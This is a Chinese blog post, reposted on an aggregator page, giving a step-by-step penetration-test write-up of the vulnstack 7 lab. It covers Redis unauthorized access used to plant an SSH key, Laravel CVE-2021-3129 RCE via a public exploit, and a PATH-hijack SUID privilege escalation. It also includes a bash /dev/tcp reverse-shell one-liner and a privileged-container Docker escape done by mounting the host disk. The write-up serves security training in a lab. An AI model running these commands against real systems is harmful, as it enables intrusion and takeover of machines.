当前位置: 首页 > news >正文

网站建设 ui 企业网站/成都百度百科

网站建设 ui 企业网站,成都百度百科,宁波黄页网,建设网站怎么挣钱目录 一、测试环境 1、系统环境 2、注意事项 3、使用工具/软件 二、测试目的 三、操作过程 1、信息搜集 2、Redis未授权访问漏洞获取web1靶机系统权限 3、获取docker靶机系统权限 ①Laravel框架漏洞利用getshell ②Laravel主机的提权&&docker容器逃逸 提权…

目录

一、测试环境

1、系统环境

2、注意事项

3、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Redis未授权访问漏洞获取web1靶机系统权限

3、获取docker靶机系统权限

①Laravel框架漏洞利用getshell

②Laravel主机的提权&&docker容器逃逸

提权

Docker逃逸

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.200.128)

靶  机:

Ubuntu-web1[192.168.52.10(仅主机的52网段,配置好的固定IP)、192.168.200.129(nat网卡)];

Ubuntu-web2[192.168.52.20(仅主机的52网段,配置好的固定IP)、192.168.93.10(仅主机的93网段,配置好的固定IP)];

Win7-PC1[192.168.52.30(仅主机的52网段,配置好的固定IP)、192.168.93.20(仅主机的93网段,配置好的固定IP)];

WinServer-DC(192.168.93.30,仅主机的93网段,配置好的固定IP);

Win7-PC2(192.168.93.40,仅主机的93网段,配置好的固定IP)。

密码信息(默认密码):

  • Ubuntu 1:web/web2021
  • Ubuntu 2:ubuntu

域用户账户和密码如下:

  • Administrator:Whoami2021
  • whoami:Whoami2021
  • bunny:Bunny2021
  • moretz:Moretz2021

通达OA账户:

admin:admin657260

2、注意事项

  • 靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务。
  • Ubuntu 1需要启动nginx服务:
redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
  • Ubuntu 2需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
  • Win 7-PC1需要启动通达OA和nginx(否则外部访问不到):
C:\MYOA\bin\AutoConfig.exe
C:\MYOA\nginx\OfficeNginx.exe

而且,需要启用网络发现!!,要ubuntu1和2能ping到这台主机才可以

3、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录遍历)、ssh-kergen(生成ssh公钥私钥)、python3(临时web服务)

Redis Insight(redis数据库管理)、MDUT(数据库综合利用工具利用)、mobaxterm(进行ssh连接)、burp suite(发包测试)、CVE-2021-3129-EXP(漏洞利用poc)、godzilla v2.96(webshell连接)、中国蚁剑(webshell连接)、cdk(docker漏洞检测工具)

测试网址:http://192.168.200.129:81

后面两篇文章地址:

红日靶场vulnstack 7靶机的测试报告[细节](二)-CSDN博客文章浏览阅读572次,点赞24次,收藏10次。基于渗透测试流程测试vulnstack 7靶机;msf渗透;metasploit;meterpreter;内网渗透;通达OA;文件上传+文件包含;构造RCE漏洞。https://blog.csdn.net/2301_79698171/article/details/144503412?sharetype=blogdetail&sharerId=144503412&sharerefer=PC&sharesource=2301_79698171&spm=1011.2480.3001.8118红日靶场vulnstack 7靶机的测试报告[细节](三)-CSDN博客文章浏览阅读322次,点赞11次,收藏5次。基于渗透测试流程渗透vulnstack 7靶场;二层内网代理;永恒之蓝;ms17-010;psexec上线;ipc通道;内网信息搜集;ATT&CK。https://blog.csdn.net/2301_79698171/article/details/144508445?spm=1001.2014.3001.5501

二、测试目的

通过web渗透,利用redis和laravel的漏洞进行测试获取两台ubuntu主机的系统权限。

三、操作过程

1、信息搜集

主机探测

arp-scan -l

web靶机IP:192.168.200.129

端口和服务探测

nmap -sN -A -p- -T4 192.168.200.129

靶机开启了22端口(ssh服务)、80端口(web服务)、81端口(web服务)、6379端口(redis服务)

目录扫描

dirsearch -u http://192.168.200.129:81 -i 200,301 --exclude-sizes=0B

扫到了两个网页,但都没什么信息

2、Redis未授权访问漏洞获取web1靶机系统权限

信息搜集阶段发现靶机开启了redis的默认端口6379,nmap也识别该服务正是redis

使用redis数据库管理工具进行连接

发现直接就可以连接上去,没有认证

在控制台输入命令也有回显

info

在Redis 数据库服务存在未授权访问漏洞的情况下,常见的获取服务器 shel的方法一般有写SSH-keygen、写计划任务反弹shell、写webshell、利用主从复制获取shell等方式.可以通过Redis Insight 操作Redis手工获取服务器shell,也可以使用工具进行自动化获取shell。

使用MDUT数据库综合利用工具利用

项目地址:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization ToolsMDUT - Multiple Database Utilization Tools. Contribute to SafeGroceryStore/MDUT development by creating an account on GitHub.icon-default.png?t=O83Ahttps://github.com/SafeGroceryStore/MDUT

先进行数据库连接

成功进行连接

该工具可以一键替换ssh公钥

需要先使用kali生成一份ssh公钥和私钥

ssh-keygen -t rsa

然后复制/root/.ssh/id_rsa.pub的内容到利用工具的公钥栏

cat /root/.ssh/id_rsa.pub

直接写入

靶机是开启了22端口的ssh服务的,接下来使用私钥进行ssh连接

私钥位置:/root/.ssh/id_rsa

复制一份出来即可,使用mobaxterm直接进行ssh私钥连接

可以看到成功连接,root权限

查看IP

外网IP:192.168.200.129

内网IP:192.168.52.10

3、获取docker靶机系统权限

需要注意的是,这个laravel框架是从内网主机映射到web主机的81端口的,因此这个docker容器来自于内网主机。

别问为什么,我也是踩了几个小时的坑才发现。

①Laravel框架漏洞利用getshell

访问web主页

可以看到laravel的版本是8.29.0   php版本是7.4.14

查找laravel框架的历史漏洞

https://www.seebug.org/search/?keywords=laravel

漏洞编号:SSV-99098

CVE-2021-3129

这个漏洞影响范围包括8.29.0版本

发送漏洞检测数据包poc,查看漏洞是否存在

POST / HTTP/1.1

Host:192.168.200.129:81

Content-Type: application/json

Content-Length: 167

{

              "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

              "parameters": (

                            "variableName": "username",

                            "viewFile": "xxxxxxx"

              }

}

发送数据包,返回如下页面:

这表示目标laravel开启了debug模式,存在RCE漏洞

漏洞利用exp可以在github下载:

GitHub - SecPros-Team/laravel-CVE-2021-3129-EXPContribute to SecPros-Team/laravel-CVE-2021-3129-EXP development by creating an account on GitHub.icon-default.png?t=O83Ahttps://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

使用这个exp,打开cmd,输入url地址并运行exp

python laravel-CVE-2021-3129-EXP.py http://192.168.200.129:81

可以看到生成了webshell地址,这个使用godzilla(哥斯拉) v2.96进行连接

必须使用godzilla 2.96版本连接,4.01版就连不上了

查看靶机信息,发现靶机是linux系统,且有dockerenv文件

whoami
find / -name .dockerenv

确认是docker环境

cat /proc/self/cgroup

会列出当前docker容器ID信息

Docker容器中执行hostname命令,回显结果应与容器ID匹配

hostname

结果与容器ID前面12位一致,可以确认当前环境为docker环境

②Laravel主机的提权&&docker容器逃逸

提权

通过redis未授权漏洞,已经获取了web主机的root权限,尝试将docker的shell弹到web主机上。

在web主机开启监听

echo '#!/bin/bash\nbash -i >& /dev/tcp/192.168.52.10/6666 0>&1' > test.sh
bash test.sh

成功获取反弹shell,laravel框架的主机IP:192.168.52.20

通过laravel的RCE漏洞获取的webshell只是www-data权限,进行docker逃逸前要先提权

查找suid权限文件发现,jobs家目录有一个shell文件是suid权限

find / -perm -4000 -ls 2>/dev/null

执行shell文件,发现调用了ps命令

/home/jobs/shell

使用环境变量提权,构造一个ps命令调用/bin/bash,这样运行shell文件调用ps命令时就会以root身份执行/bin/bash了

echo '/bin/bash' > /tmp/ps

添加tmp目录到环境变量首位,这样执行命令会优先在tmp目录找命令执行

echo $PATH
export PATH="/tmp:$PATH"
echo $PATH

再次运行shell文件,验证权限,提权成功!

/home/jobs/shell

获取交互式shell

SHELL=/bin/bash script -q /dev/null

Docker逃逸

使用mobaxterm自带的网络扫描工具看一下

可以看到靶机开启了ssh服务

先上传cdk到web主机,并在web主机使用python开启临时web服务

python3 -m http.server 8888

在docker主机使用curl命令下载cdk

curl http://192.168.52.10:8888/cdk_linux_amd64 --output cdk

赋予文件执行权限并运行

chmod +x cdk
./cdk evaluate --full

可以看到特权模式是打开的,可以将物理机的文件挂载到docker容器进行利用

挂载命令:

mkdir /taoyi
mount /dev/sda1 /taoyi
cd /taoyi && ls -la

这样就会将物理机的文件挂载到docker容器

可以利用替换ssh公钥文件,实现ssh登录docker主机的物理机

.ssh目录(权限700);私钥权限600;~/.ssh/authorized_keys文件(权限600)

cd root
mkdir .ssh && chmod 700 .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCPIBEKJ+XPb3kENnFCySEV95FPT31k3Qc0o+zJHPpC7Rpna71oWow4mCo37AunRQ09pMTwfc9cWMLd6ulc0DpPK4IaZ0o42Gb0Dmb/TA8sxroCUPfS95ExkvKbAgy+M4IbJWs+UOMHez4keF4JUFaLaEfsE9587KiaOLBb3PgZ7CdKkUwMpCAnKyn78P483HRMzIgRjddjpmWMylilyA3qpDgezienPF7T/1BMfAHPYsJEF58vSv+j6Lt73z5KvmxcV/XXuIvna4WTQJjLe9HGeaHZnKTrxPNxQhxwvnh1/oS+28VvivRhPUINr9qXewwYJRec9JGkOjBdVH1tDemzqY7qbtZ1277Lpyesf6Z/gbGDj3PZr0ahzOq6PD+jmlhT7eSaKvc4pYXsZ6fZ6Ii6Gq0wtHSzUPM/E/IJB6y/d0EfbvzWkIX7/DoyeFO9DhW5UAHuCvyaBm9ONVy0fBcJUJcCUhcLQUs7GEzcjzpGzkf+/eclz4JAyYrnELkkzUU= root@hacker" > .ssh/authorized_keys
chmod 600 .ssh/authorized_keys

私钥上传到web主机上,并赋予600权限

chmod 600 id_rsa

在web主机进行ssh连接到内网docker物理机

ssh root@192.168.52.20 -i id_rsa

成功连接!

这台机器也是两张网卡:

内网1:192.168.52.20

内网2:192.168.93.10

四、结论

redis未授权漏洞危害很大,可以直接无密码登录进行操作。laravel框架的历史版本漏洞也有很多漏洞可以利用。web服务器将内网主机的docker容器映射到了自身端口,允许外部访问。docker容器以特权模式启动时,可以进行docker逃逸。

这个靶场共五台主机,两层内网架构,都放在一篇文章的话,有些冗杂,分成三篇发送。

http://www.jmfq.cn/news/5315401.html

相关文章:

  • 网站建设需要什么流程/网络营销课程去哪里学
  • 专业网站建设怎么样/重庆快速排名优化
  • 连州网站建设/百度app安装下载免费
  • 旅游网站建设公司/关键词排名网站
  • 珠海网站建设品牌策划/南宁网站建设
  • 网页设计与网站建设完全学习手册/近期国内新闻
  • 房产网站建设方案论文/域名查询大全
  • 学校联网网站建设/网络营销与直播电商好就业吗
  • 村庄建设网站/网络营销策略的内容
  • 青岛网站建设首选/搜索网站
  • 对电子商务网站建设与管理的心得/百度爱采购怎么推广
  • 网站建设需要配置环境么/免费html网站制作成品
  • 北京移动端网站建设/关键词排名推广方法
  • 山西省城乡住房和建设厅网站首页/1元购买域名
  • 二级学院网站建设自评报告/西安seo培训学校
  • 江西省城乡建设厅网站/外贸展示型网站建设公司
  • 邯郸做wap网站建设/建立企业网站步骤
  • 芜湖市住房和城乡建设厅网站首页/搜索引擎谷歌
  • 安徽建设厅网站考勤/关于校园推广的软文
  • 怎么从建设部网站下载规范/十五种常见的销售策略
  • 校园网站建设说明书/网络推广怎么做
  • 外贸网网站建设/网上营销的平台有哪些
  • 最新的网站建设架构/免费网站电视剧全免费
  • 加强企业网站建设的通知/搜索引擎优化公司
  • 望京SOHO网站建设/网站竞价推广托管公司
  • 网站建设35类/网络营销推广活动有哪些
  • 南京商城网站建设/seo怎么优化
  • 网站建设排版/电商网站seo
  • 苏州知名网站建设设计公司/关键词快速排名平台
  • 宁波市建设银行网站/佛山网站建设排名